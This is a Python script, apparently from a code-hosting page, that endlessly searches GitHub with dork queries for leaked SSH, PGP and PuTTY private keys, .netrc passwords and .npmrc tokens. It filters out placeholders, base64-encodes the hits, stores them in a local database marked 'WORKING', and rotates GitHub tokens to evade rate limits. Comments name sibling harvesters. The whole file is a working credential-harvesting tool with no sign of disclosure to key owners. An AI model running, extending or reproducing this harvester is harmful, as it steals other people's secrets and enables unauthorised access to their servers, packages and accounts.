250 lines
8.4 KiB
Python
250 lines
8.4 KiB
Python
"""ETERNAL SSH/creds hunt: GitHub code search for private keys (OpenSSH/RSA/
|
|
EC/DSA/PKCS8/PGP/PuTTY) + .netrc + .npmrc. Keys stored b64-encoded single-line
|
|
(status WORKING — structural validity, no API to check). Logs ssh_eternal.log."""
|
|
import os
|
|
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
|
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
|
|
import base64
|
|
import hashlib
|
|
import random
|
|
import re
|
|
import sqlite3
|
|
import subprocess
|
|
import time
|
|
|
|
import requests
|
|
|
|
DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data", "keys.db")
|
|
LOG = "data/ssh_eternal.log"
|
|
TOKENS_FILE = "gh_tokens.txt"
|
|
UA = {"User-Agent": "keyhunter-ssh"}
|
|
|
|
# (prov, code-search query)
|
|
DORKS = [
|
|
("SSH_KEY", '"BEGIN OPENSSH PRIVATE KEY"'),
|
|
("SSH_KEY", '"BEGIN RSA PRIVATE KEY"'),
|
|
("SSH_KEY", '"BEGIN EC PRIVATE KEY"'),
|
|
("SSH_KEY", '"BEGIN DSA PRIVATE KEY"'),
|
|
("SSH_KEY", '"BEGIN PRIVATE KEY" -BEGIN"RSA"'),
|
|
("PGP_KEY", '"BEGIN PGP PRIVATE KEY BLOCK"'),
|
|
("PUTTY_KEY", '"PuTTY-User-Key-File-2"'),
|
|
("NETRC", "filename:.netrc password"),
|
|
("NPMRC_TOKEN", "filename:.npmrc _authToken"),
|
|
]
|
|
|
|
PEM_RX = re.compile(
|
|
r"-----BEGIN [A-Z0-9 ]*PRIVATE KEY[ BLOCK]*-----[\s\S]+?"
|
|
r"-----END [A-Z0-9 ]*PRIVATE KEY[ BLOCK]*-----")
|
|
PPK_RX = re.compile(
|
|
r"PuTTY-User-Key-File-\d[\s\S]{100,30000}?Private-MAC: [0-9A-Fa-f]{16,}")
|
|
NPMRC_RX = re.compile(r"_authToken=([0-9A-Za-z_-]{20,})")
|
|
NETRC_RX = re.compile(
|
|
r"machine\s+(\S+)\s+login\s+(\S+)\s+password\s+(\S+)")
|
|
|
|
GARBAGE = ("xxxx", "EXAMPLE", "example", "FAKE", "fake", "placehol",
|
|
"changeme", "yourkey", "deadbeef", "00000", "test", "TEST")
|
|
|
|
|
|
def log(msg):
|
|
line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
|
|
print(line, flush=True)
|
|
with open(LOG, "a", encoding="utf-8", errors="replace") as f:
|
|
f.write(line)
|
|
|
|
|
|
def load_tokens():
|
|
toks = []
|
|
try:
|
|
r = subprocess.run(["gh", "auth", "token"], capture_output=True,
|
|
text=True, timeout=5)
|
|
if r.stdout.strip():
|
|
toks.append(r.stdout.strip())
|
|
except Exception:
|
|
pass
|
|
try:
|
|
with open(TOKENS_FILE, "r", encoding="utf-8") as f:
|
|
for line in f:
|
|
t = line.strip()
|
|
if t and not t.startswith("#") and t not in toks:
|
|
toks.append(t)
|
|
except Exception:
|
|
pass
|
|
return toks
|
|
|
|
|
|
TOKENS = load_tokens()
|
|
_idx = 0
|
|
|
|
|
|
def tok():
|
|
global _idx
|
|
if not TOKENS:
|
|
return None
|
|
_idx = (_idx + 1) % len(TOKENS)
|
|
return TOKENS[_idx]
|
|
|
|
|
|
def db_exec(cur, sql, args):
|
|
for _ in range(6):
|
|
try:
|
|
return cur.execute(sql, args)
|
|
except sqlite3.OperationalError:
|
|
time.sleep(5)
|
|
return cur.execute(sql, args)
|
|
|
|
|
|
def db_add(cur, seen, val, prov, repo):
|
|
if isinstance(val, tuple):
|
|
val = val[0]
|
|
if val in seen or len(val) < 30:
|
|
return 0
|
|
seen.add(val)
|
|
db_exec(
|
|
cur, "INSERT INTO keys (hash, val, prov, status, found, repo) "
|
|
"VALUES (?,?,?,?,?,?) "
|
|
"ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
|
|
"WHERE keys.status IN ('DEAD','ERR')",
|
|
(hashlib.sha1(val.encode()).hexdigest()[:16], val, prov, "WORKING",
|
|
"ssh", repo))
|
|
return 1
|
|
|
|
|
|
def extract(text, prov_hint, out, repo):
|
|
n = 0
|
|
for m in PEM_RX.finditer(text):
|
|
block = m.group(0)
|
|
# count base64 payload length between header/footer lines
|
|
lines = block.strip().splitlines()
|
|
payload = "".join(lines[1:-1]) if len(lines) > 2 else ""
|
|
if len(payload) < 80 or any(g in block for g in GARBAGE):
|
|
continue
|
|
prov = "PGP_KEY" if "PGP" in block else "SSH_KEY"
|
|
enc = "b64:" + base64.b64encode(block.encode()).decode()
|
|
out.append((enc, prov)); n += 1
|
|
for m in PPK_RX.finditer(text):
|
|
block = m.group(0)
|
|
if any(g in block for g in GARBAGE):
|
|
continue
|
|
enc = "b64:" + base64.b64encode(block.encode()).decode()
|
|
out.append((enc, "PUTTY_KEY")); n += 1
|
|
if prov_hint == "NETRC":
|
|
for m in NETRC_RX.finditer(text):
|
|
val = f"{m.group(1)}:{m.group(2)}:{m.group(3)}"
|
|
if any(g in val for g in GARBAGE):
|
|
continue
|
|
out.append((val, "NETRC")); n += 1
|
|
if prov_hint == "NPMRC_TOKEN":
|
|
for m in NPMRC_RX.finditer(text):
|
|
if any(g in m.group(1) for g in GARBAGE):
|
|
continue
|
|
out.append((m.group(1), "NPMRC_TOKEN")); n += 1
|
|
return n
|
|
|
|
|
|
def search_code(query, page, session):
|
|
for attempt in range(3):
|
|
h = dict(UA)
|
|
t = tok()
|
|
if t:
|
|
h["Authorization"] = f"Bearer {t}"
|
|
try:
|
|
r = session.get(
|
|
"https://api.github.com/search/code",
|
|
params={"q": query, "per_page": 50, "page": page},
|
|
headers=h, timeout=30)
|
|
except requests.RequestException as e:
|
|
log(f"search net-err {type(e).__name__} q={query[:40]}")
|
|
time.sleep(30)
|
|
continue
|
|
if r.status_code in (403, 429):
|
|
return "rate", []
|
|
if r.status_code == 401 and attempt < 2:
|
|
continue # dead token block — rotate and retry
|
|
if r.status_code != 200:
|
|
return f"err{r.status_code}", []
|
|
return "ok", r.json().get("items", [])
|
|
return "err401", []
|
|
|
|
|
|
def fetch_raw(item, session):
|
|
h = dict(UA)
|
|
t = tok()
|
|
if t:
|
|
h["Authorization"] = f"Bearer {t}"
|
|
url = item.get("git_url") # blob API
|
|
if not url:
|
|
return None
|
|
try:
|
|
r = session.get(url, headers=h, timeout=30)
|
|
except requests.RequestException:
|
|
return None
|
|
if r.status_code != 200:
|
|
return None
|
|
try:
|
|
data = __import__("json").loads(r.text)
|
|
return base64.b64decode(data.get("content", "")).decode(
|
|
"utf-8", errors="replace")
|
|
except Exception:
|
|
return None
|
|
|
|
|
|
def main():
|
|
log("ssh_eternal started")
|
|
session = requests.Session()
|
|
if not TOKENS:
|
|
log("WARNING: no tokens — GitHub search will fail; relying on anon")
|
|
seen = set()
|
|
cycle = 0
|
|
while True:
|
|
cycle += 1
|
|
for prov_hint, query in DORKS:
|
|
try:
|
|
found = 0
|
|
for page in (1, 2):
|
|
status, items = search_code(query, page, session)
|
|
if status != "ok":
|
|
if status == "rate":
|
|
log("rate limited — sleep 60s")
|
|
time.sleep(60)
|
|
else:
|
|
log(f"search {status} q={query[:40]}")
|
|
break
|
|
out = []
|
|
for item in items:
|
|
repo = item.get("repository", {}).get(
|
|
"full_name", "unknown")
|
|
text = fetch_raw(item, session)
|
|
if not text or len(text) > 500_000:
|
|
continue
|
|
found += extract(text, prov_hint, out, repo)
|
|
if out:
|
|
# ponytail: retry loop vs concurrent writers (hunt5,
|
|
# rescue, eternal_v10) holding the WAL lock
|
|
for db_try in range(5):
|
|
try:
|
|
c = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None)
|
|
try:
|
|
for val, prov in out:
|
|
db_add(c, seen, val, prov, repo)
|
|
c.commit()
|
|
finally:
|
|
c.close()
|
|
break
|
|
except sqlite3.OperationalError as e:
|
|
log(f"db lock retry {db_try + 1}/5: {e}")
|
|
time.sleep(60)
|
|
else:
|
|
log(f"db insert FAILED, dropping {len(out)} keys")
|
|
time.sleep(3 + random.random() * 2)
|
|
log(f"cycle {cycle} [{prov_hint}] +{found} (seen={len(seen)})")
|
|
except Exception as e:
|
|
log(f"dork {prov_hint} error: {type(e).__name__}: {e}")
|
|
time.sleep(5 + random.random() * 5)
|
|
# long pause between full dork sweeps (search rate limits are shared
|
|
# with eternal_v10 on the node)
|
|
time.sleep(120 + random.random() * 120)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|